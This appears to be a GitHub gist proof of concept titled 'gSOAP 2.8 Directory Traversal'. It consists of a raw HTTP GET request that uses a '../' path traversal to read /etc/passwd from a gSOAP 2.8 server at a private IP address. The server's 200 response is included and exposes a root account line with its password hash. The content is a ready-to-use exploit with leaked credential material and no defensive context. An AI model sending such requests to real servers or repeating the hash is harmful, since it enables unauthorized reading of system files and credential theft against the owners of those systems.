Skip to content

Instantly share code, notes, and snippets.

@numanturle

numanturle/gSOAP 2.8 Directory Traversal

Last active December 21, 2019 07:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save numanturle/cf64d21aa33efb998a653d2a30938942 to your computer and use it in GitHub Desktop.
Save numanturle/cf64d21aa33efb998a653d2a30938942 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gSOAP 2.8 Directory Traversal
Request
############################
GET /../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.200.106.101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
############################
HTTP/1.1 200 OK
Server: gSOAP/2.8
Content-Type: application/octet-stream
Content-Length: 51
Connection: close
root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment